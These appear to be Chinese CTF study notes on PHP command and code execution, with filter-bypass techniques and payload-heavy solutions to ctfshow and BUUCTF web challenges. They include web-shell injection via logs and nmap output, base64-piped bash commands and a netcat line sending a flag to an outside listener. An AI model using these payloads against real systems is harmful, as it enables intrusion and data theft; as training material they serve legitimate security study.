简介
利用RCE漏洞,有两种执行方式,向后台服务器远程注入操作系统命令(即远程命令执行RemoteCommand Exec)或者远程代码执行(Remote Code Exec),顾名思义就是远程执行,通过上述的远程注入后,从而执行系统命令,进而控制后台系统。
可能存在代码执行漏洞的函数
1 | eval() 把字符串当作 PHP 代码来执行,必须以分号结尾 |
命令执行漏洞
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
前提条件
1.开发人员调用了能够执行系统命令的函数
2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严
执行系统命令的函数
system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()、反引号
需要关注的点:函数有没有回显、需要什么参数
1、system()
提交命令->回显
2、exec()
exec ( string $command [, array &$output [, int &$return_var ]] );
如果只提供command参数只会返回最后一行,添加output参数(使用一个变量接收),内容就会填充此数组,后使用print_r或var_dump函数输出变量
windows环境使用dir参看当前目录文件
1 | <?php |
ps:exec函数需要使用输出函数输出
3、passthru()
passthru(string $command…)
可以直接回显,输入指令即可,和system相似
4、shell_exec()
shell_exec(string $cmd),cmd:要执行的命令
使用echo、print输出结果,返回结果是字符串的形式
1 | <?php |
效果和反引号一样
1 | <?php |
5、popen()
popen(string $command,string $mode)
mode:模式,’r’表示阅读,’w’表示写入
在r模式下,先fgets获取内容,然后print_r输出内容
相当于把命令执行的结果当作一个临时文档(进程),要选择写入或者读取
1 | <?php |
6、proc_open()比较麻烦,默认没有回显
7、pcntl_exec()
pcntl_ exec(string $path, array $args= ?, array $envs= ?)
path:必须是可执行二进制文件路径,args:是一个要传递给程序的参数字符串数组
LD_PRELOAD绕过
使用场景:disable_ _functions禁用所有可能用到命令执行的函数
动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接
LD_PRELOAD
可以修改库文件,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
mail
(常用):内嵌在php中,imagick
:需要扩展安装
mail函数在调用sendmail后会再调用动态链接库,而LD_PRELOAD规定优先调用的动态链接库,putenv函数可以修改LD_PRELOAD
所以我们需要上传的是demo.so(geteuid函数重定义)和demo.php
反弹shell不太懂,先等等
但是使用蚁剑自带的插件就能绕过disable_functions
linux连接符
1 | | 把前面命令的输出结果当成后面命令的参数,只显示后面命令执行结果 |
/bin/bash -c ls
和echo "ls" | /bin/bash
效果一样
/bin/bash
:这部分指定了要使用的 shell,指定了要使用 Bash shell。-c
:用于告诉 Bash shell 后面的参数是要执行的命令,linux中的shell:bash、sh、dash等等
linux绕过
? *替代一些被过滤的关键字,让系统自动匹配
空格绕过
{cat,/flag}
$IFS //$IFS在linux下表示内部字段分隔符
${IFS}
$IFS$9
<
<>
%20 (space)
%0a(换行)
%09 (tab)
linux命令中可以加\,所以甚至可以ca\t /fl\ag
读取文件绕过
1 | tac:反向显示 |
od -A d -c flag.php
xxd test.php
/usr/bin/sort test.php
等效于 sort test.php
,也可以/usr/bin/s?rt test.php
,使用?自动匹配,可以在sort被过滤的时候尝试 。/usr/bin:存放用户可执行的程序
file -f test.php
grep fl test.php
编码绕过
绕过原理:命令编码后上传到服务器,绕过过滤限制,服务器解码读取命令并执行
绕过方法:base64、32、HEX编码(ascii)、shellcode(16进制的机器码)
/bin/bash、bash、sh、反引号、$()都可以实现
echo Y2F0IHRlc3QucGhw | base64 -d | /bin/bash
$(echo Y2F0IHRlc3QucGhw | base64 -d)
1 | `echo Y2F0IHRlc3QucGhw | base64 -d` |
echo "74616320746573742e706870" | xxd -r -p | bash
xxd -r -p将16进制反向输出打印为ascii格式
但是xxd是个工具,不是所有的服务器都装有,这种情况下可以使用shellcode编码绕过
printf "\x63\x61\x74\x20\x74\x65\x73\x74\x2e\x70\x68\x70" | bash
也可以试一下echo,可能在目标服务器无法执行,shellcode编码可以被服务器识别
在遇到post中空格被过滤可以使用\x09,换行\x0a(攻防世界 unseping)
无回显时间盲注
页面无法shel反弹或者无法回显,或者没有写入权限,可尝试命令盲注,根据返回的时间来进行判断
1 | if [ $(cat ./test.php | awk NR==1 | cut -c 1) == h ];then sleep 2;fi |
awk NR==1获取第一行,cut -c 获取单个字符,if为真则执行then,否则执行fi结束。特殊字符要\转义
1 | import requests |
长度过滤绕过
>
创建文件并写入或者覆盖
文件原本的内容 ,>b
直接创建文件>>
追加内容
在没有写完的命令后面加\
,可以将一条命令写在多行
ls -t
按修改时间排序,最新优先
1 | >ag |
\\
把后面的\转义成普通字符dir
:按列输出,不换行;d字符靠前*
相当于$(dir *):将第一个文件名作为命令,把后续的文件名作为参数,输出执行结果。ls会换行,不行
长度过滤为7绕过
exec函数需要输出函数,这里没有,采用nc反弹,cat flag|nc 192.168.1.161:7777
(cat展示内容,通过nc反弹,提交到192.168.1.161,注意管道输出符),然后kali上输入指令nc -lvp 7777
来监听端口
利用过程
步骤一:倒序写入,创建文件
\
将空格实体化成字符,注意空格构造,不能输入重复指令,因为文件名不能重复,所以这里采用单独构造空格,c\ \\
,t\ \\
这样灵活构造,但是在长度过滤为5中空格只能单独构造
步骤二: 将文件名按顺序写入到文件ls -t >a
步骤三:执行脚本sh a
1 | #encodeing:utf-8 |
记得打开kali监听
长度限制为5绕过
内联执行绕过
//假设该目录有index.php和flag.php
- cat `ls`相当于执行了 cat index.php;cat flag.php
- cat $(ls) 和上面一个意思
//可以查看该目录及子目录和隐藏目录所有文件
find –
ctfshow中学到的新姿势
1、当;被过滤的时候要使用eval函数,由于后面;可以用?>结尾,php代码的最后一个语句可以不用;
2、当flag或者读取文件被过滤时,可以试试mv、cp
1 | ?c=system("cp fla?.php 1.txt"); |
cp:复制文件
mv:移动文件,在同一个目录内对文件进行剪切的操作,实际应理解成重命名操作
然后访问1.txt即可
3、当使用file_get_contents()函数需要输出
1 | ?c=echo file_get_contents("1.txt"); |
4、注意题目中是eval的时候一定要在代码后面加上`。反引号和system=反引号+echo
WEB31
方法一:经典参数逃逸
1 | ?c=eval($_GET[1]);&1=system('tac flag.php'); |
方法二:直接绕过
1 | ?c=echo%09`tac%09fl*`; |
方法三:构造无参数
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。
1 | ?c=print_r(scandir(pos(localeconv()))); |
可以看到当前目录下有flag.php。
通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后
1 | ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
web32
过滤了
1 | flag |
并且是区分大小写的
如果要使用下面这个payload,势必要绕过(过滤,暂时不会
1 | ?c=eval($_GET[1]);&1=system("ls"); |
代码解释:第一个分号是因为外层还有一个eval,第二个分号是内层的eval
所以我们考虑其他方法。同样是传参嵌套在,这里使用的是include+伪协议读取。注意;被过滤了
1 | ?c=include%0a$_GET[1]?>&1=/etc/passwd |
为什么要测试这个地址的文件读取呢
因为Linux系统中的 /etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作,测试了是否可以进行文件包含
1 | ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
include后面的%0a可以不用,这里的include如果被过滤也要想到使用require、require_once、include_once来替代
拿到flag
ps:为什么$_GET['1']
可以写成$_GET[1]
,因为php可以向下兼容
web37
1 | ?c=data://text/plain,<?php system("mv fla?.php 1.txt"); ?> |
看到文件包含就要想到伪协议
如果php被过滤可以使用短标签,但是有时候短标签没有开
1 | ?c=data://text/plain,<?= system("mv fla?.??? 1.txt"); ?> |
web39
1 | error_reporting(0); |
include后面虽然拼接了.php,但不影响前面<?php phpinfo();?>
执行,这是文件包含的特性了
1 | ?c=data://text/plain,<?php phpinfo();?> |
web40
这题过滤了括号,但是是中文的括号,注意辨别,所以不影响解题
可以使用上面无参rce的经典payload,下面是ctfshow博主的题解,比较巧妙,可以学习
1 | ?c=print_r(get_defined_vars()); //var_dump |
也可以右键源代码更加直观
get_defined_vars()
是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中
1 | post传参:1=phpinfo(); |
我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。
1 | ?c=print(array_pop((next((get_defined_vars()))))); |
我们这里也是直接将post传参改成我们需要的了
直接配合嵌套eval函数
逻辑是内层eval执行返回system("cat flag.php");
,然后外层eval执行
1 | ?c=eval(array_pop((next((get_defined_vars()))))); |
web41
方法一:通过脚本自动化实现
1 |
|
1 | 过滤了数字和字母,以及 $、+、-、^、~ |
大体上就是通过没有被过滤的可见或者不可见字符的url编码进行异或生成我们需要的被过滤字符,从而构造payload
方法二:手工构造
以上相当于使用 python 自动化脚本。当然也可以用上述得到的 txt 可用字符手动构造。rce_or.php会产生一个rce_or.txt文件,里面是可用的url组合。这里象征性地展示一些
1 | %00 %20 |
原理:
1 | system('ls') |
1 | <?php |
所以可以直接构造
1 | 如构造一个 (system)('ls') |
构造(system)(cat flag.php)
1 | c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60") |
用bp改包,hackbar试过了不行,不知道为什么
web43
1 |
|
1 | >/dev/null: |
这整一句话的意思是:让所有输出流(不管你是对的还是错的)都重定向到空设备文件中丢弃掉
所以关键就是不能让后面这个重定向执行下去就行
构造payload:
1 | c=tac flag.php|| |
要注意的是在url中表示分隔查询参数,浏览器不会对其编码,如果要传输此字符需手动编码
1 | if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)) |
过滤数字的时候不代表过滤了url编码%09这样的,因为解码后不属于数字,这里%09也不受%过滤的影响
web50
1 |
|
0x26是&的16进制,0x09是%09的16进制,两个都被过滤
payload:
1 | ?c=nl<fl''ag.php|| |
字符串中间加两个单引号,在执行的时候会忽略,命令也可以
web52
1 | ?c=cp$IFS/fla?$IFS/var/www/html/b.txt|| |
flag在根目录,复制到默认的网页目录var/www/html,也可以pwd查看目录确定一下
web54
1 | ?c=mv${IFS}fla?.php${IFS}z.txt |
web55
1 |
|
这种过滤了大小写字母(或者还有数字),但是保留了点和问号就可以尝试这种姿势
不写了,这篇文章讲得很清楚
https://blog.csdn.net/qq_40345591/article/details/127791317
要注意的是%20,@-[,不要写]
web57
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
web58
1 | c=echo file_get_contents("flag.php"); |
web60
法一:
1 | c=highlight_file('flag.php'); |
法二:
1 | c=include $_GET[1]; |
法三:
1 | c=include 'flag.php';echo $flag; |
法四:
1 | c=include('flag.php');var_dump(get_defined_vars()); |
包含了flag.php,那么 $flag变量就会被注册进去
法五:
1 | c=rename("flag.php","1.txt"); //然后访问1.txt |
法六:虽然这题被过滤,但是可以积累一下
curl实现get和post:https://www.php.cn/c10-1.html
1 | //初始化 |
利用:修改"http://www.learnphp.cn"
1 | c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output); |
被过滤了
web66
1 | c=highlight_file('flag.php'); |
1 | c=var_dump(scandir('.')); |
1 | c=var_dump(scandir('../../../')); |
1 | c=highlight_file('/flag.txt'); |
ctfshow{45196993-0443-457f-912f-ce1bbb25c890}
web71
下载题目附件,内容如下:
1 | error_reporting(0); |
这样会导致我们得到的数据变成无法识别的问号
payload:
1 | c=include("/flag.txt");exit(); |
web72
用上一题的payload试一试
1 | c=include("/flag.txt");exit(); |
没有那个文件,我们扫描一下
1 | c=var_dump(scandir('/')); |
1 | c=var_dump(scandir('/'));exit(); |
var_dump被禁用,并且还有open_basedir限制读取目录
1 | function ctfshow($cmd) { |
web73
由于存在open_basedir
配置的限制,无法使用scandir
函数列出目录信息,可以使用glob
协议绕过open_basedir
的限制
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0); #扫描根目录有什么文件 |
另一种读取文件的方法:
1 | $a = "glob:///*.txt"; |
他们的共同点是使用了glob://伪协议来读取文件
web 75
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0); |
1 | c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit(); |
web77
1 | c=$ffi = FFI::cdef("int system(const char *command);"); |
web79
法一:
1 | ?file=data://text/plain,<?= system("ls /"); ?> |
1 | ?file=data://text/plain,<?= system("tac ./flag.*"); ?> |
法二:
1 | ?file=data://text/plain,<?= eval($_POST[1]); ?> |
web80
1 | 文件头写入:User-Agent:<?php eval($_POST[1]); ?> |
通过将恶意代码写入日志,再包含日志,传入参数,执行
[GXYCTF2019]Ping Ping Ping 1
/?ip=127.0.0.1;ls
1 | /?ip= |
也可以/?ip=127.0.0.1|ls
1 | /?ip= |
/?ip=127.0.0.1;tac flag.php
1 | /?ip= fxck your space! |
看来空格被过滤了
?ip=127.0.0.1;cat${IFS}flag.php
1 | /?ip= 1fxck your symbol! |
/?ip=127.0.0.1;cat$IFS$1flag.php
1 | /?ip= fxck your flag! |
发现flag也被过滤了
过滤了这么多,现在就先去看看index.php
/?ip=127.0.0.1;cat$IFS$1index.php
1 | PING 127.0.0.1 (127.0.0.1): 56 data bytes |
过滤了:
1 | & / ? * < x{00}-\x{1f} ' " \ () [] {} 空格 |
1、简单变量替换,覆盖拼接flag/?ip=127.0.0.1;a=l;tac$IFS$9f$aag.php
/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b
2、内联执行
反引号在linux中作为内联执行,就是将反引号内命令的输出作为输入执行
1 | /?ip=127.0.0.1;tac$IFS$9`ls` |
能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;tac flag.php index.php
ps:cat和tac的区别:tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来
1、call_user_func_array()
call_user_func_array(callable $callback
, array $args
): mixed
把第一个参数作为回调函数(callback
)调用,把参数数组作(args
)为回调函数的的参数传入
$_SERVER['SERVER_ADDR']
:当前运行脚本所在的服务器的 IP 地址$_SERVER['HTTP_X_FORWARDED_FOR']
:客户端 IP 地址或者是代理
Nmap -oG 将命令和结果写入文件
1 | $host = $_GET['host']; |
escapeshellarg()+escapeshellcmd()之殇
传入参数:127.0.0.1’ -v -d a=1
经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1'
,也就是将其中的’单引号转义,再用单引号将内容包含起来
处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\'
,因为escapeshellcmd()函数对\以及最后的未闭合的’进行了转义
由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1'
,因为包围127.0.0.1的单引号产生了闭合,\\
被解释为\,中间的两个单引号’’完成了闭合,最终留下了a=1’,也就是末尾的单引号
两边加上单引号' <?php @eval($_POST["hack"]);?> -oG hack.php '
可绕过
preg_replace()的/e模式存在命令执行漏洞
1 | <?php |
固定解题格式: \S*=${}
?\S*=${getFlag()}&cmd=system('cat /flag');
[ZJCTF 2019]NiZhuanSiWei
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
姿势一:使用php://input
伪协议通过post传参需要注意请求包的类型是post
姿势二:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf
1 | <?php |
X-Requested-With: XMLHttpRequest//通常在发送 XMLHttpRequest 对象发起 AJAX 请求时
AJAX 请求:使用指一种创建交互式、快速动态网页应用的网页开发技术,好像和xml有关
python dirsearch.py -u http://f921948c-4523-4885-a45b-936776836ace.node4.buuoj.cn:81/ -e.php
python dirsearch.py -u URL -e.php
要有F12查看源代码查找flag的好习惯$a = json_decode($_GET['json'],true);
返回一个json数据格式解码后的关联数组
json = {“x”:”wllm”}解码后就是
无参rce
方法一:利用scandir()
扫描当前目录内容
1 | ?c=print_r(scandir(pos(localeconv()))); |
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。
可以看到当前目录下有flag.php。
通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后
1 | ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
1 | highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名 |
读取当前目录倒数第一位文件:
1 | show_source(end(scandir(getcwd()))); |
getcwd()
函数用于获取当前工作目录的路径(当前工作目录是指PHP脚本正在执行的目录)。这个函数不需要任何参数,直接调用即可
读取当前目录倒数第二位文件:
1 | ?exp=show_source(next(array_reverse(scandir(getcwd())))); |
随机返回当前目录文件:
1 | highlight_file(array_rand(array_flip(scandir(getcwd())))); |
扫描上一级目录:
1 | print_r(scandir(dirname(getcwd()))); |
dirname()
函数用于返回指定路径的目录部分。它会返回给定路径的父目录路径
读取上级目录文件:
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
查看和读取根目录文件:
所获得的字符串第一位有几率是/,需要多试几次
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
方法二:利用session_id()
1 | 法一: |
在[GXYCTF2019]禁止套娃1中过滤掉了hex,但是我们已知flag.php是我们要读取的,所以直接法一即可
session_start()开启session服务,session_id()读取参数内容,hex2bin使16进制转换为字符串,因为SESSIONID只能为字母和数字
方法三:利用get_defined_vars()
1 | ?c=print_r(get_defined_vars()); //var_dump |
get_defined_vars()
是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中
也可以右键源代码更加直观
1 | post传参:1=phpinfo(); |
我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。
1 | ?c=print(array_pop((next((get_defined_vars()))))); |
我们这里也是直接将post传参改成我们需要的了
直接配合嵌套eval函数
逻辑是内层eval执行返回system("cat flag.php");
,然后外层eval执行
1 | ?c=eval(array_pop((next((get_defined_vars()))))); |
current()
函数用于返回数组中的当前元素的值
需要注意的是方法二和方法三都要用到嵌套eval才能执行
方法四:利用getallheaders()
getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。implode()
能够直接将getallheaders()
返回的数组转化为字符串
可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
payload:
1 | ?exp=eval(implode(getallheaders())); |
参考文章:
全: